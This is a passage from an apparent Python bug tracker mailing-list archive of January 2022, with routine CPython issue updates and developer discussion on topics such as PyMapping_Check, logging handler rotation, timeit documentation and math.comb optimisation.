complete. ---------- nosy: +iritkatriel, lukasz.langa versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:30:52 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 14 Jan 2022 14:30:52 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1642170652.72.0.586040266353.issue46331@roundup.psfhosted.org> Change by Mark Shannon : ---------- assignee: -> Mark.Shannon keywords: +patch stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:32:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:32:47 +0000 Subject: [issue32876] HTMLParser raises exception on some inputs In-Reply-To: <1519069936.36.0.467229070634.issue32876@psf.upfronthosting.co.za> Message-ID: <1642170767.12.0.973904832622.issue32876@roundup.psfhosted.org> Irit Katriel added the comment: Reopening to discuss what the correct behaviour should be. ---------- resolution: out of date -> status: closed -> open versions: +Python 3.11 -Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:36:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 14:36:37 +0000 Subject: [issue39316] settrace skips lines when chaining methods without arguments In-Reply-To: <1578863624.84.0.650995733403.issue39316@roundup.psfhosted.org> Message-ID: <1642170997.38.0.199273792586.issue39316@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:40:47 2022 From: report at bugs.python.org (Bar Harel) Date: Fri, 14 Jan 2022 14:40:47 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642171247.3.0.805812720473.issue46376@roundup.psfhosted.org> Bar Harel added the comment: Up until now, trying to distinguish between actual sequences and mappings in C-API was a pain. Same methods are implemented in customer user classes, and the ABCs could have either been registered dynamically or had an appropriate __subclasshook__. On top of that, making the same checks as isinstance regarding the whole ABC and __mro__ chain would considerably slow down the code. The new tp_flags are set in both registered abc classes, and subclasses of the appropriate types. As tp_flags exists, we don't even need to account for tp_as_mapping and tp_as_sequence. According to the docs "if such a flag bit is clear, the type fields it guards must not be accessed and must be considered to have a zero or NULL value instead.". User made classes that don't inherit from the Sequence and Mapping ABCs are not considered either, and there is no __subclasshook__ for these ABCs so inheritance is fully enforced. As we cover builtins, c-extension classes and user-made Python classes, checking tp_flags is guaranteed to be accurate for distinguishing between mapping and sequence types, and would be as fast as a pointer dereference can be. Modifying the current PySequence_Check and PyMapping_Check might be a breaking change, especially on a C-API level. However one can argue that checking for a mapping and expecting a failure on user-made mappings counts as a bug. Having them accurately return the correct type in a fast manner using tp_flags is therefore an acceptable breaking change. ---------- nosy: +bar.harel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:52:15 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 14 Jan 2022 14:52:15 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642171935.29.0.664785322169.issue46377@roundup.psfhosted.org> Vinay Sajip added the comment: Making a change without considering backward compatibility is premature. I've closed the PR as there appears to be something wrong with it - it references hundreds of changed files. Did you look at the 'atTime' keyword parameter of TimedRotatingFileHandler? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 09:54:04 2022 From: report at bugs.python.org (Bar Harel) Date: Fri, 14 Jan 2022 14:54:04 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642172044.97.0.696068741465.issue46376@roundup.psfhosted.org> Bar Harel added the comment: Do note, the relevant functions are in the Stable ABI, and their promise will slightly change, yet modifying the current functions instead of creating new ones may still be beneficial. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 10:11:40 2022 From: report at bugs.python.org (Mike Schiessl) Date: Fri, 14 Jan 2022 15:11:40 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642173100.77.0.134910514843.issue46377@roundup.psfhosted.org> Mike Schiessl added the comment: i've just checked PR and you're right, something with the PR went wrong. Anyway, midnight (at least from the wording) specifies the "atTime". (which should be midnight). Again, if there's (by mistake) an interval bigger than 1 set(which in my mind makes no sense along to be used with midnight) things are getting pretty intransparent. The midnight handler created a logfile dated with 2021-12-15 (last night). Took me some time to get this sorted. (I've discovered, that I've set 30 in a default value file). Agreed on the backward compatibility, but I would assume someone using "midnight" would not expect any other behavior than "daily at midnight" besides using the atTime to modify the rollover time. (my opinion) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 10:31:47 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 14 Jan 2022 15:31:47 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642174307.58.0.183739255777.issue46362@roundup.psfhosted.org> Steve Dower added the comment: New changeset 71c0b859ae16ee748cbb050a1f4de93c04e04f83 by neonene in branch 'main': bpo-46362: Ensure abspath() tests pass through environment variables to subprocess (GH-30595) https://github.com/python/cpython/commit/71c0b859ae16ee748cbb050a1f4de93c04e04f83 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 10:32:55 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 15:32:55 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642174375.48.0.624691967781.issue46376@roundup.psfhosted.org> Change by Aviram : ---------- keywords: +patch pull_requests: +28799 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30600 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 10:49:45 2022 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 14 Jan 2022 15:49:45 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642175385.73.0.180841503746.issue46376@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 10:57:38 2022 From: report at bugs.python.org (Andreas H.) Date: Fri, 14 Jan 2022 15:57:38 +0000 Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType In-Reply-To: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> Message-ID: <1642175858.23.0.901152372138.issue46369@roundup.psfhosted.org> Andreas H. added the comment: Allright. B) sounds good to me. I dont think I have time today, so please feel to tackle the issue. If not I can look at it the next week. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:11:27 2022 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 14 Jan 2022 16:11:27 +0000 Subject: [issue46378] Experiment with LLVM BOLT binary optimizer Message-ID: <1642176687.21.0.496800066458.issue46378@roundup.psfhosted.org> New submission from Dong-hee Na : Just experiment how it will be worth :) Thread: https://github.com/faster-cpython/ideas/issues/224 ---------- assignee: corona10 messages: 410570 nosy: corona10 priority: normal severity: normal status: open title: Experiment with LLVM BOLT binary optimizer type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:14:14 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 14 Jan 2022 16:14:14 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642176854.34.0.381718921912.issue46377@roundup.psfhosted.org> Vinay Sajip added the comment: Unfortunately, you can't rely on people always doing "the sensible thing", for any number of good reasons. If a particular set of parameter values didn't cause failure, it is probably used somewhere. Anyway, your problem goes away if interval == 1, right? If we were to tighten things up (e.g. disallowing interval > 1 with "midnight"), then it would have to be done on a deprecation cycle at the very least, ISTM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:41:57 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 16:41:57 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642178517.35.0.925429912228.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28800 pull_request: https://github.com/python/cpython/pull/30601 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:49:39 2022 From: report at bugs.python.org (Zefir-13000) Date: Fri, 14 Jan 2022 16:49:39 +0000 Subject: [issue32696] Fix pickling exceptions with multiple arguments In-Reply-To: <1517156155.35.0.467229070634.issue32696@psf.upfronthosting.co.za> Message-ID: <1642178979.1.0.380882062943.issue32696@roundup.psfhosted.org> Change by Zefir-13000 : ---------- nosy: +Zefir-13000 nosy_count: 11.0 -> 12.0 pull_requests: +28801 pull_request: https://github.com/python/cpython/pull/30602 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 11:57:46 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 14 Jan 2022 16:57:46 +0000 Subject: [issue46287] UNC path normalisation issues on Windows In-Reply-To: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> Message-ID: <1642179466.44.0.83348575219.issue46287@roundup.psfhosted.org> Change by Eryk Sun : ---------- Removed message: https://bugs.python.org/msg410068 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:25:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 17:25:52 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642181152.72.0.382401435972.issue23183@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 73140de97cbeb01bb6c9af1da89ecb9355921e91 by Hugo van Kemenade in branch 'main': bpo-23183: Document the timeit output (GH-30359) https://github.com/python/cpython/commit/73140de97cbeb01bb6c9af1da89ecb9355921e91 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:26:35 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 17:26:35 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642181195.71.0.267023922365.issue23183@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +28802 pull_request: https://github.com/python/cpython/pull/30603 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:26:41 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 17:26:41 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642181201.05.0.220153013517.issue23183@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28803 pull_request: https://github.com/python/cpython/pull/30604 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:41:54 2022 From: report at bugs.python.org (Markus Wallerberger) Date: Fri, 14 Jan 2022 17:41:54 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries Message-ID: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> New submission from Markus Wallerberger : The reference implementation of itertools.product creates large temporaries, which we need to remind people of at the top of the code block. However, using generator magic, we don't need to do this and can even simplify the code in the process! Basically,we iterate over a generator of product(*seq[:-1]), and extend each of the values by every value in seq[-1]. ---------- assignee: docs at python components: Documentation messages: 410573 nosy: docs at python, mwallerb priority: normal severity: normal status: open title: itertools.product reference implementation creates temporaries type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:42:26 2022 From: report at bugs.python.org (Markus Wallerberger) Date: Fri, 14 Jan 2022 17:42:26 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642182146.61.0.414146828941.issue46379@roundup.psfhosted.org> Change by Markus Wallerberger : ---------- keywords: +patch pull_requests: +28804 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30605 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:44:36 2022 From: report at bugs.python.org (David Goncalves) Date: Fri, 14 Jan 2022 17:44:36 +0000 Subject: [issue33178] Add support for BigEndianUnion and LittleEndianUnion in ctypes In-Reply-To: <1522331303.68.0.467229070634.issue33178@psf.upfronthosting.co.za> Message-ID: <1642182276.98.0.0567295812316.issue33178@roundup.psfhosted.org> David Goncalves added the comment: Any core developers available to review this PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:47:15 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 14 Jan 2022 17:47:15 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642182435.35.0.522404015234.issue46379@roundup.psfhosted.org> Alex Waygood added the comment: (I'm removing 3.6 and 3.7 from the "versions" field, since those two branches are now only accepting patches if it relates to security.) ---------- nosy: +AlexWaygood, rhettinger versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:47:59 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 17:47:59 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642182479.19.0.786790634606.issue23183@roundup.psfhosted.org> miss-islington added the comment: New changeset 26039d1e0a1da897d28688895126eb8bbd16f2c9 by Miss Islington (bot) in branch '3.10': bpo-23183: Document the timeit output (GH-30359) https://github.com/python/cpython/commit/26039d1e0a1da897d28688895126eb8bbd16f2c9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:48:47 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 17:48:47 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642182527.89.0.406242199605.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset ee1a8b336d30476e9635a6826f61a99fc3604159 by Christian Heimes in branch 'main': bpo-40280: Block more syscalls that are causing crashes in tests (GH-30601) https://github.com/python/cpython/commit/ee1a8b336d30476e9635a6826f61a99fc3604159 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:53:49 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 17:53:49 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642182829.4.0.777758209404.issue23183@roundup.psfhosted.org> miss-islington added the comment: New changeset 9badf6895a9bc1b01b2d6b2fb35419e7c5523ce6 by Miss Islington (bot) in branch '3.9': bpo-23183: Document the timeit output (GH-30359) https://github.com/python/cpython/commit/9badf6895a9bc1b01b2d6b2fb35419e7c5523ce6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:55:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 17:55:52 +0000 Subject: [issue23183] timeit CLI best of 3: undocumented output format In-Reply-To: <1420620799.47.0.00516438922368.issue23183@psf.upfronthosting.co.za> Message-ID: <1642182952.6.0.935782288382.issue23183@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:57:34 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 17:57:34 +0000 Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module directly Message-ID: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there are two tests in Lib/test/test_functools.py that use `functools.lru_cache` directly: 1. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1417 2. https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1429 But, I don't think it is correct. Why? ```python class TestLRUPy(TestLRU, unittest.TestCase): module = py_functools class TestLRUC(TestLRU, unittest.TestCase): module = c_functools ``` Source: https://github.com/python/cpython/blame/73140de97cbeb01bb6c9af1da89ecb9355921e91/Lib/test/test_functools.py#L1798-L1823 So, what can we do? 1. Use `self.module.lru_cache` instead (I think it is the right way) 2. Move them to `TestLRUPy`, but I don't think they should be python-specific ---------- components: Tests messages: 410579 nosy: sobolevn priority: normal severity: normal status: open title: `test_functools.TestLRU` must not use `functools` module directly type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 12:58:48 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 14 Jan 2022 17:58:48 +0000 Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module directly In-Reply-To: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> Message-ID: <1642183128.52.0.708917469157.issue46380@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28806 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30606 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:00:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:00:27 +0000 Subject: [issue31472] "Emulating callable objects" documentation misleading In-Reply-To: <1505409903.44.0.981302539758.issue31472@psf.upfronthosting.co.za> Message-ID: <1642183227.35.0.623519175549.issue31472@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:02:04 2022 From: report at bugs.python.org (Thomas Klausner) Date: Fri, 14 Jan 2022 18:02:04 +0000 Subject: [issue46053] NetBSD: ossaudio support incomplete In-Reply-To: <1639264512.66.0.774714620496.issue46053@roundup.psfhosted.org> Message-ID: <1642183324.89.0.864115116548.issue46053@roundup.psfhosted.org> Thomas Klausner added the comment: ping - this patch needs a review ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:02:15 2022 From: report at bugs.python.org (Thomas Klausner) Date: Fri, 14 Jan 2022 18:02:15 +0000 Subject: [issue46045] NetBSD: do not use POSIX semaphores In-Reply-To: <1639218664.63.0.969239482314.issue46045@roundup.psfhosted.org> Message-ID: <1642183335.74.0.296192194114.issue46045@roundup.psfhosted.org> Thomas Klausner added the comment: ping - this patch needs a review ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:19:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:19:40 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642184380.79.0.0679305698202.issue46377@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: behavior -> enhancement versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:21:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:21:38 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642184498.05.0.647537433762.issue46376@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: behavior -> enhancement versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:23:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:23:34 +0000 Subject: [issue46363] Two typos in versions 3.7 document translation of zh_CN In-Reply-To: <1642044869.85.0.57560793023.issue46363@roundup.psfhosted.org> Message-ID: <1642184614.77.0.831980457099.issue46363@roundup.psfhosted.org> Irit Katriel added the comment: I copied the issue there: https://github.com/python/python-docs-zh-cn/issues/238 ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:25:21 2022 From: report at bugs.python.org (Mike Schiessl) Date: Fri, 14 Jan 2022 18:25:21 +0000 Subject: [issue46377] TimedRotatingFileHandler "midnight" misleading when interval > 1 In-Reply-To: <1642168248.18.0.205175918146.issue46377@roundup.psfhosted.org> Message-ID: <1642184721.76.0.670756391597.issue46377@roundup.psfhosted.org> Mike Schiessl added the comment: Yes, enforcing interval == 1 or interval == None (which pulls the TimedRotatingFileHandler class __init__ default value which is also 1) works perfectly with midnight. I do not see any urge on that topic - as I personally now know the issue :D - but I really feel this fix could save someones else's time someday ;) So going the "safe" way via deprecation cycle seems to be the right approach ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:27:44 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:27:44 +0000 Subject: [issue41403] Uncaught AttributeError in unittest.mock._get_target In-Reply-To: <1595790944.09.0.556229072962.issue41403@roundup.psfhosted.org> Message-ID: <1642184864.18.0.931006426861.issue41403@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:33:52 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:33:52 +0000 Subject: [issue29985] make install doesn't seem to support --quiet In-Reply-To: <1491343254.68.0.574187952476.issue29985@psf.upfronthosting.co.za> Message-ID: <1642185232.16.0.939517044839.issue29985@roundup.psfhosted.org> Irit Katriel added the comment: Ken, the output you posted is for 3.7 and 3.8. Is this reproducible on 3.9+? (3.8 and lower are no longer maintained). ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:34:05 2022 From: report at bugs.python.org (Aviram) Date: Fri, 14 Jan 2022 18:34:05 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642185245.62.0.824232412994.issue46376@roundup.psfhosted.org> Aviram added the comment: I submitted a draft patch. Using TPFlags alone doesn't cut it as some types are excluded (bytes, str, bytearray) in sequence and same for mapping. I'm thinking of checking for those cases specifically as those are very very specific casings. Would love some input. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:38:16 2022 From: report at bugs.python.org (=?utf-8?q?Matthias_K=C3=B6ppe?=) Date: Fri, 14 Jan 2022 18:38:16 +0000 Subject: [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST Message-ID: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org> New submission from Matthias K?ppe : The documentation of - https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS - https://docs.python.org/3.11/using/configure.html#envvar-CFLAGS_NODIST - https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS - https://docs.python.org/3.11/using/configure.html#envvar-LDFLAGS_NODIST should explain more clearly that flags such as `-I`, `-L`, etc. and strict compiler flags such as `-Werror...` should not be put into `CFLAGS`, `LDFLAGS`, or it will make the resulting Python unusable for compiling user packages with extension modules via `distutils` and `setuptools`. Various downstream packagers have provided misconfigured Pythons: - Homebrew (https://trac.sagemath.org/ticket/31132, https://github.com/Homebrew/homebrew-core/pull/68528, resolved) - Cygwin (https://trac.sagemath.org/ticket/33078, https://cygwin.com/pipermail/cygwin/2021-December/250302.html, resolved in a proposed package update) - pyenv (https://trac.sagemath.org/ticket/32531, https://github.com/pyenv/pyenv/issues/2204, open) So this appears to be a documentation / user education issue in CPython. ---------- assignee: docs at python components: Documentation messages: 410586 nosy: docs at python, matthiaskoeppe priority: normal severity: normal status: open title: Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST type: enhancement versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:42:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:42:31 +0000 Subject: [issue28206] signal.Signals not documented In-Reply-To: <1474297204.47.0.613989661481.issue28206@psf.upfronthosting.co.za> Message-ID: <1642185751.79.0.755588492714.issue28206@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:43:28 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:43:28 +0000 Subject: [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST In-Reply-To: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org> Message-ID: <1642185808.61.0.881901601758.issue46381@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:44:43 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:44:43 +0000 Subject: [issue46367] multiprocessing's "spawn" doesn't actually use spawn In-Reply-To: <1642101659.38.0.387431242507.issue46367@roundup.psfhosted.org> Message-ID: <1642185883.4.0.362765603834.issue46367@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +vstinner versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:50:27 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 14 Jan 2022 18:50:27 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642186227.39.0.0319442855926.issue37295@roundup.psfhosted.org> Tim Peters added the comment: Another trick, building on the last one: computing factorial(k) isn't cheap, in time or space, and neither is dividing by it. But we know it will entirely cancel out. Indeed, for each outer loop iteration, prod(p) is divisible by the current k. But, unlike as in Stefan's code, which materializes range(n, n-k, -1) as an explicit list, we have no way to calculate "in advance" which elements of p[] are divisible by what. What we _can_ do is march over all of p[], and do a gcd of each element with the current k. If greater than 1, it can be divided out of both that element of p[], and the current k. Later, rinse, repeat - the current k must eventually be driven to 1 then. But that slows things down: gcd() is also expensive. But there's a standard trick to speed that too: as in serious implementations of Pollard's rho factorization method, "chunk it". That is, don't do it on every outer loop iteration, but instead accumulate the running product of several denominators first, then do the expensive gcd pass on that product. Here's a replacement for "the main loop" of the last code that delays doing gcds until the running product is at least 2000 bits: fold_into_p(n) kk = 1 for k in range(2, k+1): n -= 1 # Merge into p[]. fold_into_p(n) # Divide by k. kk *= k if kk.bit_length() < 2000: continue for i, pi in enumerate(p): if pi > 1: g = gcd(pi, kk) if g > 1: p[i] = pi // g kk //= g if kk == 1: break assert kk == 1 showp() return prod(x for x in p if x > 1) // kk That runs in under half the time (for n=1000000, k=500000), down to under 7.5 seconds. And, of course, the largest denominator consumes only about 2000 bits instead of 500000!'s 8,744,448 bits. Raising the kk bit limit from 2000 to 10000 cuts another 2.5 seconds off, down to about 5 seconds. Much above that, it starts getting slower again. Seems to hard to out-think! And highly dubious to fine-tune it based on a single input case ;-) Curious: at a cutoff of 10000 bits, we're beyond the point where Karatsuba would have paid off for computing denominator partial products too. ---------- versions: -Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:54:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 18:54:23 +0000 Subject: [issue46133] Unclear whether one can (or how to) provide source to exec-generated code In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642186463.23.0.708253589612.issue46133@roundup.psfhosted.org> Irit Katriel added the comment: The source code is read from a file. If there is no file you get OSError, as the docstring states. ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 13:55:08 2022 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 14 Jan 2022 18:55:08 +0000 Subject: [issue45569] Drop support for 15-bit PyLong digits? In-Reply-To: <1634898107.47.0.88725686674.issue45569@roundup.psfhosted.org> Message-ID: <1642186508.33.0.249048524212.issue45569@roundup.psfhosted.org> Mark Dickinson added the comment: New changeset 025cbe7a9b5d3058ce2eb8015d3650e396004545 by Mark Dickinson in branch 'main': bpo-45569: 